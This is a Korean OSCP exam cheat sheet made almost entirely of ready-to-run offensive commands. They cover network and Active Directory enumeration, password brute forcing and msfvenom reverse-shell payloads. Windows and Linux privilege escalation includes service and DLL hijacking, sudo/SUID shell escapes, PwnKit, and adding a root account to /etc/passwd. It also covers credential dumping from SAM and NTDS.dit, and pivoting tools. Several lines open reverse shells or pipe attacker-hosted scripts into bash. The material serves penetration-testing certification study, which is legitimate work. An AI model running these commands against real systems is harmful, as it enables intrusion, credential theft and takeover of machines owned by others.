OSCP 통합 치트시트

1# 1. GTFOBins 확인 (gtfobins.github.io)
2# 2. 버전 확인
3<binary> --version
4# 3. searchsploit
5searchsploit <binary명>
6# 4. GitHub 검색: "<binary명> CVE" 또는 "<binary명> privilege escalation"
7# 5. HackTricks: book.hacktricks.xyz 에서 바이너리명 검색

 1# 설정 파일
 2find / -name "*.conf" -o -name "*.config" -o -name "*.php" 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null
 3find / -name "conf.php" -o -name "config.php" -o -name "wp-config.php" 2>/dev/null
 4
 5# 히스토리
 6cat ~/.bash_history
 7cat ~/.zsh_history
 8
 9# SSH 키
10find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
11
12# DB 접속 후 크레덴셜 덤프
13mysql -u root -p  →  SELECT user,password FROM mysql.user;
14
15# /home 디렉토리 탐색
16ls -la /home/*/
17ls -la /home/*/.ssh/

1whois [domain] -h [whois_server]

 1# 레코드 타입별 조회 (NS, MX, TXT, PTR)
 2host [domain] -t NS
 3nslookup -type=TXT info.megacorptwo.com 192.168.50.151
 4
 5# 표준 열거 (모든 레코드 + 존 트랜스퍼 시도)
 6dnsrecon -d [domain] -t std
 7
 8# DNS 서버 열거 (서브도메인 + 브루트포스 포함)
 9dnsenum [domain]
10
11# 서브도메인 브루트포스
12gobuster dns -d megacorpone.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 10

 1# 빠른 전체 포트 스캔 (HTB/CTF 기본)
 2nmap -p- --min-rate=7000 -T4 <IP> -sV
 3
 4# SYN 스캔 + greppable 출력
 5nmap -sS -p 25 192.168.190.1-255 -oG save.txt
 6grep Up save.txt | cut -d " " -f 2
 7
 8# 서비스·OS 탐지 + 스크립트 + 전체 저장
 9nmap -p- <IP> -sV -O -T4 --min-rate 5000 -oA scan_result
10
11# HTTP 타이틀 일괄 스캔
12nmap --script http-title 192.168.190.0/24 -p 80 --open
13
14# vuln 카테고리 NSE 스캔
15sudo nmap -sV -p 443 --script "vuln" <IP>
16
17# SMB OS 탐지
18nmap -v -p 139,445 --script smb-os-discovery <IP>

1# TCP 범위 스캔
2nc -v -w 1 <IP> 1-100
3
4# UDP 포트 스캔 (-u)
5nc -nv -z -u -w 1 <IP> 100-200

1# 단일 포트 확인
2Test-NetConnection -Port 445 <IP>
3
4# 1~1024 자동 스캔
51..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<IP>", $_)) "TCP port $_ is open"} 2>$null

 1# 네트워크 대역 NBT 스캔
 2sudo nbtscan -r 192.168.50.0/24
 3
 4# 익명 공유 목록 열거
 5smbclient -L //<IP> -N
 6# ► -L : 공유 목록 표시. -N : 패스워드 없이(anonymous).
 7
 8# 인증된 공유 접속
 9smbclient //<IP>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>'
10
11# 공유 권한 + 파일 열거 (nxc)
12nxc smb <IP> -u <USER> -p <PASS> -d <DOMAIN> --shares
13
14# enum4linux 일괄 열거
15enum4linux -a <IP>

 1# UDP 161 스캔
 2nmap -sU --open -p 161 192.168.50.1-254 -oG snmp.txt
 3
 4# 커뮤니티 스트링 브루트포스
 5echo -e "public\nprivate\nmanager" > community
 6for ip in $(seq 1 254); do echo 192.168.190.$ip; done > ips
 7onesixtyone -c community -i ips
 8
 9# MIB 트리 전체 덤프
10snmpwalk -c public -v1 -t 10 <IP>
11
12# 실행 프로세스만 조회 (OID 1.3.6.1.2.1.25.4.2.1.2)
13snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2
14
15# ASCII 변환 출력
16snmpwalk -c public -v1 -t 10 <IP> -Oa

 1# 익명 LDAP 조회 (사용자 목록)
 2nxc ldap <IP> -u '' -p '' --users
 3
 4# 인증 후 LDAP 검색 (description에 패스워드 있는 경우 탐지)
 5printf '%s' '<PASS>' > pass.txt
 6ldapsearch -x -H ldap://<IP> \
 7  -D '<USER>@<DOMAIN>' \
 8  -y pass.txt \
 9  -b 'DC=<domain>,DC=<tld>' \
10  '(objectClass=user)' sAMAccountName description
11
12# UPN 형식으로 인증 (@ 형식이 잘 먹힐 때)
13nxc ldap <IP> -u '<user>@<domain>' -p '<pass>' --users

 1# RID 사이클링으로 사용자 열거 (anonymous 가능)
 2impacket-lookupsid '<DOMAIN>/guest'@<IP> -no-pass
 3
 4# 결과 예시
 5# 1104: CICADA\john.smoulder (SidTypeUser)
 6# 1105: CICADA\sarah.dantelia (SidTypeUser)
 7
 8# samrdump - 크레덴셜 있을 때 도메인 사용자 열거
 9impacket-samrdump <DOMAIN>/<USER>@<DC_IP> -hashes :<NTLM_HASH>
10proxychains impacket-samrdump <DOMAIN>/<USER>@<DC_IP> -hashes :<NTLM_HASH>
11# 결과: Administrator 500 / Guest 501 / krbtgt 502 / <user> 1105 ...

1sudo apt install ./Nessus-10.11.0-ubuntu1604_amd64.deb
2sudo systemctl start nessusd.service
3# 브라우저: https://localhost:8834

 1# vuln 카테고리 스크립트 목록
 2cat /usr/share/nmap/scripts/script.db | grep "\"vuln\""
 3
 4# vuln 카테고리 전체 스캔
 5sudo nmap -sV -p 443 --script "vuln" <IP>
 6
 7# 커스텀 NSE 추가
 8sudo cp http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/
 9sudo nmap --script-updatedb
10sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" <IP>

 1# 기본 디렉토리 열거
 2gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -t 5
 3
 4# 큰 워드리스트
 5gobuster dir -u http://<IP> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20
 6
 7# 특정 확장자만 (PDF, PHP 등)
 8gobuster dir -u http://<IP> -x pdf,php,txt -w /usr/share/wordlists/dirb/common.txt
 9
10# 패턴 필터 사용
11gobuster dir -u http://<IP>:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern

1for p in $(cat pass.txt); do
2    curl -s -d "username=admin&password=$p" http://<IP>/login.php | grep -q "flag" && {
3        echo "[+] FOUND PASSWORD: $p"
4        break
5    }
6done

1# SSH 브루트포스 (커스텀 포트)
2hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<IP>
3
4# HTTP POST 폼 브루트포스
5hydra -l admin -P rockyou.txt <IP> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
6
7# FTP 브루트포스
8hydra -l <USER> -P rockyou.txt ftp://<IP>

1# Bash 리버스 셸 (URL 인코딩 필요 시)
2bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
3
4# nc 리스너
5nc -lvp 4444

1# Burp로 요청 전달
2curl -i http://target --proxy 127.0.0.1:8080
3
4# User-Agent에 XSS 페이로드
5curl -i http://target --user-agent "<script>...</script>" --proxy 127.0.0.1:8080

1wget -E -k -K -p -e robots=off -H -Dzoom.us -nd "https://zoom.us/signin#/login"

1# 모든 메타데이터 (확장 태그 포함)
2exiftool -a -u old.pdf
3
4# 기본 메타데이터
5exiftool -a info.pdf

 1# 키워드 검색
 2searchsploit <keyword>
 3searchsploit remote smb microsoft windows
 4searchsploit Linux Kernel 2.6.22 privilege escalation
 5
 6# 터미널 브라우저 검색
 7firefox --search "Microsoft Edge site:exploit-db.com"
 8
 9# 익스플로잇 로컬 복사 (-m)
10searchsploit -m [EDB-ID]
11searchsploit -m 42341

 1sudo apt install mingw-w64
 2
 3# 32비트 Windows EXE
 4i686-w64-mingw32-gcc 42341.c -o exploit.exe -lws2_32
 5
 6# 64비트 Windows EXE
 7x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
 8x86_64-w64-mingw32-gcc shell.c -o shell.exe -lws2_32
 9
10# 공유 DLL
11x86_64-w64-mingw32-gcc TextShaping.cpp -o TextShaping.dll -shared -lws2_32 -s

 1# Windows x64 EXE (non-staged, AV에 걸릴 수 있음)
 2msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe
 3
 4# Windows x64 EXE (msfconsole handler 필요)
 5msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<IP> LPORT=443 -f exe -o met.exe
 6
 7# Windows x86 (bad char 제외 + shikata_ga_nai 인코딩)
 8msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 EXITFUNC=thread \
 9  -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
10
11# Linux ELF
12msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f elf -o shell.elf
13
14# PHP
15msfvenom -p php/reverse_php LHOST=<IP> LPORT=443 -f raw -o shell.pHP

 1# 현재 사용자 / 권한
 2whoami
 3whoami /priv        # SeBackupPrivilege, SeImpersonatePrivilege 등 확인
 4whoami /user        # SID 확인
 5whoami /fqdn        # 도메인 DN 확인 (AD 환경)
 6
 7# 로컬 사용자/그룹
 8Get-LocalUser
 9Get-LocalGroup
10Get-LocalGroupMember Administrators
11Get-LocalGroupMember 'Remote Management Users'
12
13# 시스템 정보
14systeminfo
15route print
16netstat -ano
17
18# 설치된 패치 (커널 익스플로잇 검색용)
19Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
20
21# 설치 프로그램 (32/64bit 레지스트리 모두 확인)
22Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
23Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
24
25# 프로세스 + 경로
26Get-Process | Select-Object Name, Path | Where-Object {$_.Path -ne $null}

 1# winPEAS 다운로드 + 실행
 2iwr -uri http://<LHOST>/winPEASx64.exe -Outfile winPEAS.exe
 3.\winPEASx64.exe | Out-File output.txt
 4Get-Content output.txt | Select-String "DPAPI" -Context 20
 5Select-String -Path output.txt -Pattern "DLL|Missing" -Context 5
 6
 7# Seatbelt (시스템 정보 종합 수집)
 8iwr -uri http://<LHOST>/Seatbelt.exe -Outfile Seatbelt.exe
 9.\Seatbelt.exe -group=all | Out-File output.txt
10
11# PowerUp (서비스 취약점 자동 탐색)
12iwr http://<LHOST>/PowerUp.ps1 -Outfile PowerUp.ps1
13powershell -ep bypass
14. .\PowerUp.ps1
15Get-ModifiableServiceFile     # 수정 가능한 서비스 바이너리
16Get-UnquotedService           # Unquoted Service Path
17Install-ServiceBinary -Name 'mysql'   # 자동 페이로드 배포

 1# 민감 파일 검색
 2Get-ChildItem -Path C:\users -Include *.txt,*.ini,*.config,*.xml -File -Recurse -ErrorAction SilentlyContinue
 3Get-ChildItem -Path C:\users -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String "password" -List | Select-Object Path
 4
 5# PowerShell 히스토리 (평문 패스워드 자주 발견됨)
 6Get-History
 7(Get-PSReadlineOption).HistorySavePath
 8cat C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
 9
10# 디렉토리 ACL 확인
11icacls "C:\Program Files\Enterprise Apps"
12icacls "C:\BackupMonitor\BackupMonitor.exe"

1# 전체 디렉토리 트리 + 파일 목록 출력 (숨김파일 포함)
2# Windows는 /f 슬래시 사용 (Linux의 -f 와 다름)
3tree /f C:\Users
4tree /f C:\             # 드라이브 전체 (느림)
5
6# 숨김 파일·폴더 탐색
7dir /s /a:h C:\Users    # 숨김 속성만
8dir /s /a C:\Users      # 모든 속성 포함(숨김 파일 포함)

1# findstr - 파일 내용 키워드 검색 (Linux grep 대응)
2findstr /s /i "password" *.txt *.xml *.ini *.config
3findstr /s /i /m "password" *.*                          # 매칭 파일명만 출력
4findstr /s /i "password" C:\Users\*.txt C:\Users\*.xml   # 경로 지정
5findstr /s /i "password\|username\|secret\|credential" C:\*.txt

1# PowerShell Select-String - 다중 확장자 + 정규식 패턴 검색
2Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config,*.ini,*.log -ErrorAction SilentlyContinue |
3    Select-String -Pattern "password|passwd|username|credential|secret" |
4    Select-Object Path,LineNumber,Line
5
6# Winlogon AutoLogon 자격증명 확인 (평문 패스워드 저장 취약)
7reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
8# DefaultUserName / DefaultPassword / DefaultDomainName 필드 확인

1# 사용자 정보 확인
2net user <username>
3
4# 다른 사용자로 CMD 실행
5runas /user:<USER> cmd
6
7# Evil-WinRM 접속
8evil-winrm -i <IP> -u <USER> -p '<PASS>'
9evil-winrm -i <IP> -u <USER> -H <NTLM_HASH>   # PTH

1# PSSession (자격증명 객체)
2$password = ConvertTo-SecureString "<PASS>" -AsPlainText -Force
3$cred = New-Object System.Management.Automation.PSCredential("<USER>", $password)
4Enter-PSSession -ComputerName <TARGET> -Credential $cred

 1# 실행 중 서비스 + 경로 확인
 2Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
 3Get-WmiObject Win32_Service | Where-Object {$_.Name -eq 'BackupMonitor'} | Select Name, StartName, PathName
 4
 5# 서비스 중지 → 바이너리 교체 → 재시작
 6Stop-Service BackupMonitor
 7Remove-Item C:\BackupMonitor\BackupMonitor.exe -Force
 8# (악성 EXE 업로드)
 9iwr http://<LHOST>/shell.exe -Outfile C:\BackupMonitor\BackupMonitor.exe
10Start-Service BackupMonitor
11# 또는 재부팅
12shutdown /r /t 0

1# 쓰기 권한 테스트
2echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
3
4# Procmon으로 누락 DLL 탐색 (PATH 순서 확인)
5C:\tools\Procmon\Procmon64.exe

1# 공유 DLL 컴파일 (리버스 쉘 포함)
2x86_64-w64-mingw32-gcc TextShaping.cpp -o TextShaping.dll -shared -lws2_32 -s

1# 악성 DLL 배포 + 서비스 재시작
2iwr -uri http://<LHOST>/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'
3Stop-Service FileZilla
4Start-Service FileZilla

1# 따옴표 없는 서비스 경로 탐색
2wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

1. .\PowerUp.ps1
2Get-UnquotedService
3
4# 경로 중간에 EXE 배치 (예: "C:\Program Files\Enterprise Apps\Current.exe")
5Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
6iwr -uri http://<LHOST>/shell.exe -OutFile "C:\Program Files\Enterprise Apps\Current.exe"
7Restart-Service GammaService

1schtasks /query /fo LIST /v

1# 특정 사용자 작업 검색
2schtasks /query /fo LIST /v | Select-String -Pattern "diana" -Context 10
3
4# 작업 바이너리 교체
5icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
6iwr -uri http://<LHOST>/shell.exe -OutFile "C:\Users\steve\Pictures\BackendCacheCleanup.exe"

1# SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege 있을 때
2# SigmaPotato
3iwr -uri http://<LHOST>/SigmaPotato.exe -OutFile SigmaPotato.exe
4.\SigmaPotato "net user dave4 lab /add"
5.\SigmaPotato "net localgroup Administrators dave4 /add"
6.\SigmaPotato "cmd /c type c:\users\administrator\Desktop\root.txt"
7
8# PrintSpoofer / GodPotato도 동일 패턴
9.\GodPotato -cmd "cmd /c whoami"

1# 레지스트리 하이브 저장 (SECURITY 포함해야 LSA Secrets 추출 가능)
2reg save HKLM\SAM      C:\Temp\SAM
3reg save HKLM\SYSTEM   C:\Temp\SYSTEM
4reg save HKLM\SECURITY C:\Temp\SECURITY

1# Kali에서 해시 추출 (SAM + LSA Secrets + DCC2 한 번에)
2impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
3
4# 원격 덤프 (로컬 Administrator 자격증명)
5impacket-secretsdump ./Administrator:'<PASS>'@<IP>
6# 도메인 prefix 붙이면 STATUS_LOGON_FAILURE → 반드시 ./Administrator 또는 HOST\Administrator 형식

1# NTLM 해시 크랙 (m=1000)
2hashcat -m 1000 <HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
3
4# DCC2 (Domain Cached Credentials) 크랙 (m=2100) — LSA 덤프에서 발견 시
5hashcat -m 2100 '$DCC2$10240#<user>#<hash>' /usr/share/wordlists/rockyou.txt --force

 1# diskshadow 스크립트 작성 (Windows 줄바꿈 필요)
 2cat > ds.txt << 'EOF'
 3reset
 4set verbose on
 5set metadata C:\Temp\meta.cab
 6set context clientaccessible
 7set context persistent
 8begin backup
 9add volume C: alias cdrive
10create
11expose %cdrive% Z:
12end backup
13exit
14EOF
15
16# Linux에서 작성 후 Windows 줄바꿈으로 변환
17unix2dos ds.txt
18
19# Evil-WinRM으로 업로드 후 실행
20diskshadow /s C:\Temp\ds.txt
21
22# VSS 스냅샷에서 NTDS.dit 복사 (SeBackupPrivilege 필요)
23robocopy /B Z:\Windows\NTDS C:\Temp\ntds ntds.dit
24
25# 다운로드
26download ntds.dit
27download SYSTEM
28
29# Kali에서 해시 덤프
30impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

 1# 사용자/권한
 2id
 3sudo -l         # sudo 가능한 명령 목록
 4
 5# 시스템 정보
 6cat /etc/issue
 7cat /etc/os-release
 8uname -r        # 커널 버전 (익스플로잇 검색용)
 9arch
10
11# 프로세스 모니터링 (cron 등 자동 실행 프로세스 탐색)
12watch -n 1 "ps -aux | grep pass"
13
14# 네트워크
15ss -anp
16
17# 마운트/디스크
18cat /etc/fstab
19mount
20lsblk
21
22# 환경변수 (PATH 하이재킹 힌트)
23env
24
25# 쓰기 가능 디렉토리
26find / -writable -type d 2>/dev/null
27
28# SUID 비트 검색
29find / -perm -u=s -type f 2>/dev/null
30
31# 설치 패키지
32dpkg -l
33
34# 커널 모듈 정보
35lsmod
36/sbin/modinfo libata

1ls -lah /etc/cron*
2crontab -l
3sudo crontab -l
4grep "CRON" /var/log/syslog

 1# SUID 목록
 2find / -perm -u=s -type f 2>/dev/null
 3
 4# Capabilities 확인
 5/usr/sbin/getcap -r / 2>/dev/null
 6
 7# perl cap_setuid 악용
 8perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
 9
10# gdb cap_setuid 악용
11gdb -nx -ex 'python import os; os.setuid(0); os.system("/bin/sh")' -ex quit
12
13# GTFOBins 패턴: find
14find . -exec /bin/sh -p \; -quit

1echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4444 >/tmp/f" >> /etc/cron.d/user_backups.sh

1# 패스워드 해시 생성
2openssl passwd w00t
3
4# /etc/passwd에 UID 0 계정 추가
5echo "root3:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
6su root3

1# tcpdump -z 옵션 익스플로잇
2TF=$(mktemp) && echo 'id' > $TF && chmod +x $TF && sudo tcpdump -ln -i lo -w /tmp/cap.pcap -W 1 -G 1 -z $TF -Z root
3
4# gcc -wrapper
5sudo gcc -wrapper /bin/sh,-s .
6
7# find SUID -exec
8find . -exec /bin/sh -p \; -quit

 1# 검색
 2searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4."
 3
 4# 컴파일 + 실행
 5cp /usr/share/exploitdb/exploits/linux/local/45010.c .
 6gcc cve-2017-16995.c -o cve-2017-16995
 7chmod +x cve-2017-16995
 8./cve-2017-16995
 9
10# CVE-2021-4034 PwnKit
11gcc -shared -fPIC -nostartfiles -o pwnkit.so pwnkit.c
12gcc -o cve-2021-4034 cve-2021-4034.c
13echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
14mkdir -p "GCONV_PATH=."
15cp $(which true) "GCONV_PATH=./pwnkit.so:."
16./cve-2021-4034

1# LinPEAS (가장 우선)
2python3 -m http.server 80
3curl http://<LHOST>/linpeas.sh | bash
4# 또는
5wget http://<LHOST>/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee /tmp/lpe.txt
6
7# unix-privesc-check
8unix-privesc-check standard > out.txt
9cat out.txt | grep warning

 1sudo -l
 2# (ALL) NOPASSWD: /usr/bin/python3    → 가장 흔함
 3# (ALL) NOPASSWD: /usr/bin/vim
 4# (ALL) NOPASSWD: /usr/bin/find
 5# (ALL) NOPASSWD: /usr/bin/awk
 6# (ALL) NOPASSWD: /usr/bin/env
 7# (ALL) NOPASSWD: /usr/bin/perl
 8# (ALL) NOPASSWD: /usr/bin/ruby
 9# (ALL) NOPASSWD: /usr/bin/nmap       → 구버전
10# (ALL) NOPASSWD: /usr/bin/less
11# (ALL) NOPASSWD: /usr/bin/man
12# (ALL) NOPASSWD: /usr/bin/git
13# (ALL) NOPASSWD: /usr/bin/tar

 1# python / python3
 2sudo python3 -c 'import os; os.system("/bin/bash")'
 3sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
 4
 5# vim / vi
 6sudo vim -c ':!/bin/bash'
 7sudo vim -c ':set shell=/bin/bash' -c ':shell'
 8
 9# nano
10sudo nano
11# Ctrl+R → Ctrl+X → reset; bash 1>&0 2>&0
12
13# find
14sudo find . -exec /bin/bash \; -quit
15sudo find / -name test -exec /bin/bash \;
16
17# awk
18sudo awk 'BEGIN {system("/bin/bash")}'
19
20# env
21sudo env /bin/bash
22
23# perl
24sudo perl -e 'exec "/bin/bash";'
25
26# ruby
27sudo ruby -e 'exec "/bin/bash"'
28
29# less / man
30sudo less /etc/passwd
31# !bash  (less 내부에서)
32sudo man ls
33# !/bin/bash
34
35# nmap (구버전 --interactive)
36sudo nmap --interactive
37# !sh
38
39# tar
40sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
41
42# git
43sudo git -p help config
44# !/bin/bash
45
46# zip / unzip
47TF=$(mktemp -u)
48sudo zip $TF /etc/hosts -T -TT 'bash #'
49sudo unzip -K sgml /dev/null
50
51# tee (파일 쓰기 → /etc/sudoers 수정)
52echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers

 1# SUID 목록 전체
 2find / -perm -u=s -type f 2>/dev/null
 3
 4# bash (SUID 설정된 경우)
 5/bin/bash -p   # -p 없으면 권한 drop!
 6
 7# cp → /etc/passwd 덮어쓰기
 8openssl passwd -1 -salt xyz newpass
 9echo 'newroot:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
10cp /tmp/passwd /etc/passwd
11su newroot
12
13# find
14find . -exec /bin/sh -p \; -quit
15
16# python (SUID)
17python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
18
19# vim (SUID)
20vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
21
22# nmap (SUID 구버전)
23nmap --interactive
24!sh
25
26# pkexec (PwnKit CVE-2021-4034)
27# 취약 버전: 0.105 이하
28pkexec --version
29# 익스플로잇: github.com/berdav/CVE-2021-4034

 1# /etc/crontab 확인
 2cat /etc/crontab
 3# PATH=/home/user:/usr/local/sbin:/usr/local/bin:...
 4# * * * * * root overwrite.sh   ← 전체 경로 없음!
 5
 6# 같은 이름의 악성 스크립트 생성
 7cat > /home/user/overwrite.sh << 'EOF'
 8#!/bin/bash
 9cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
10EOF
11chmod +x /home/user/overwrite.sh
12
13# cron 실행 대기 후
14/tmp/rootbash -p

 1# 서버에서 확인
 2cat /etc/exports
 3# /srv/share *(rw,no_root_squash)
 4
 5# Kali에서 마운트 + SUID 설정
 6showmount -e <TARGET_IP>
 7mkdir /tmp/nfs
 8mount -t nfs <TARGET_IP>:/srv/share /tmp/nfs
 9
10# SUID bash 복사
11cp /bin/bash /tmp/nfs/rootbash
12chmod +s /tmp/nfs/rootbash
13
14# 서버에서 실행
15/srv/share/rootbash -p

1# pkexec (PwnKit) - 가장 흔한 커널/시스템 LPE
2# 설치 여부 확인
3which pkexec && pkexec --version
4
5# GitHub에서 CVE-2021-4034 검색 → berdav/CVE-2021-4034
6gcc -shared -fPIC -o evil.so evil.c
7./cve-2021-4034

 1# docker 그룹 LPE (가장 빠름)
 2docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 3# → root 쉘
 4
 5# lxd 그룹 LPE
 6# GitHub: lxd-alpine-builder
 7lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
 8lxc init alpine privesc -c security.privileged=true
 9lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
10lxc start privesc
11lxc exec privesc /bin/sh
12# /mnt/root 에서 호스트 파일시스템 접근

1# 실행 중인 서비스 + 버전 확인
2ps aux
3netstat -tlnp 2>/dev/null || ss -tlnp
4dpkg -l | grep -i "apache\|mysql\|nginx\|ssh\|sudo"
5
6# 내부 포트 (외부 미노출 서비스)
7ss -tlnp | grep 127.0.0.1
8# → 포트포워딩으로 Kali에서 접근 후 CVE 확인
9ssh -L 8080:127.0.0.1:8080 user@target

1uname -r
2# → searchsploit linux kernel <버전>
3# → GitHub에서 버전 검색

1# 외부 포트 → 내부 서비스 포워딩
2socat -ddd TCP-LISTEN:2346,fork TCP:<INTERNAL_IP>:5432

1# 로컬 4456 → 원격 내부망 445
2ssh -N -L 0.0.0.0:4456:<INTERNAL_IP>:445 <USER>@<PIVOT_IP>
3
4# 사용
5smbclient -p 4456 -L //127.0.0.1/ -U <USER> --password=<PASS>

1# SOCKS5 프록시 생성 (포트 9999)
2ssh -N -D 0.0.0.0:9999 <USER>@<PIVOT_IP>
3
4# /etc/proxychains4.conf 마지막 줄
5# socks5 127.0.0.1 9999
6
7# proxychains로 내부망 접근
8proxychains smbclient //<INTERNAL_IP>/share -U <USER> --password=<PASS>
9sudo proxychains nmap -p 445 -sT <INTERNAL_IP>

1# Kali SSH 서버 활성화
2sudo systemctl start ssh
3
4# 피봇 호스트에서 실행 → Kali 2345로 내부 DB 노출
5ssh -N -R 127.0.0.1:2345:<INTERNAL_IP>:5432 kali@<KALI_IP>
6
7# Kali에서 접속
8psql -h 127.0.0.1 -p 2345 -U postgres

1# 피봇 호스트에서 실행 → Kali 6565에 SOCKS5 개방
2ssh -N -R 6565 kali@<KALI_IP>
3
4# Kali /etc/proxychains4.conf: socks5 127.0.0.1 6565

1sshuttle -r <USER>@<PIVOT_IP>:<PORT> <INTERNAL_SUBNET>/24 <ANOTHER_SUBNET>/24

 1# IPv4 → IPv4 포워딩
 2netsh interface portproxy add v4tov4 listenport=2222 listenaddress=<WIN_IP> connectport=22 connectaddress=<INTERNAL_IP>
 3
 4# 방화벽 허용
 5netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<WIN_IP> localport=2222 action=allow
 6
 7# 확인
 8netsh interface portproxy show all
 9netstat -anp TCP | find "2222"
10
11# 정리
12netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
13netsh interface portproxy del v4tov4 listenport=2222

1C:\Windows\Temp\plink.exe -ssh -l kali -pw kali -R 127.0.0.1:9833:127.0.0.1:3389 <KALI_IP>

 1# Kali: reverse 모드 서버
 2chisel server --port 8080 --reverse
 3
 4# 피해자: 클라이언트 (R:socks → Kali 1080에 SOCKS5 생성)
 5/tmp/chisel client <KALI_IP>:8080 R:socks
 6
 7# 사용 (proxychains4.conf: socks5 127.0.0.1 1080)
 8ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' <USER>@<INTERNAL_IP>
 9
10# 포트 확인
11ss -ntplu

1# 공격자(서버) - 도메인 권한 위임 필요
2dnscat2-server feline.corp
3
4# 피해자(클라이언트)
5./dnscat feline.corp

1sudo msfdb init
2sudo systemctl enable postgresql
3sudo msfconsole -q

 1# /home/kali/listener.rc
 2cat > /home/kali/listener.rc << 'EOF'
 3use exploit/multi/handler
 4set PAYLOAD windows/meterpreter_reverse_https
 5set LHOST <KALI_IP>
 6set LPORT 443
 7set AutoRunScript post/windows/manage/migrate
 8set ExitOnSession false
 9run -z -j
10EOF
11
12sudo msfconsole -r /home/kali/listener.rc

1# Python 버전 (Kali에서, 도메인 크레덴셜 필요)
2python3 bloodhound.py -u <USER> -p '<PASS>' -ns <DC_IP> -c all -d <DOMAIN> -workers 1
3
4# SharpHound (Windows에서)
5.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\
6# 또는 PS 모듈
7Import-Module .\Sharphound.ps1
8Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\<USER>\Desktop\ -OutputPrefix "audit"

1# Kali BloodHound GUI
2sudo neo4j start
3bloodhound
4# 기본 자격증명: admin / admin
5# ZIP 파일 드래그앤드롭으로 import

1# GenericAll: 타겟 계정 패스워드 변경
2net rpc password "<TARGET_USER>" "<NEW_PASS>" -U "<DOMAIN>/<ATTACKER_USER>%<PASS>" -S <DC_IP>
3
4# 접속 확인
5evil-winrm -i <DC_IP> -u <TARGET_USER> -p '<NEW_PASS>'

1# GenericWrite: 임시 SPN 추가 → Kerberoasting
2setspn -S http/<TARGET_USER>.<DOMAIN> <TARGET_USER>

1net user /domain
2net user <username> /domain
3net group /domain
4net group "Domain Admins" /domain
5net accounts

 1Import-Module .\PowerView.ps1
 2
 3Get-NetDomain
 4Get-NetUser | select cn,pwdlastset,lastlogon
 5Get-NetGroup | select cn
 6Get-NetGroup "Sales Department" | select member
 7Get-NetComputer | select operatingsystem,dnshostname
 8
 9# 로컬 관리자 권한 확인 (현재 사용자가 관리자인 호스트)
10Find-LocalAdminAccess
11
12# SPN 사용자 (Kerberoasting 후보)
13Get-NetUser -SPN | select samaccountname,serviceprincipalname
14
15# 객체 ACL (GenericAll 등)
16Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
17
18# SID → 이름 변환
19Convert-SidToName S-1-5-21-...-1104
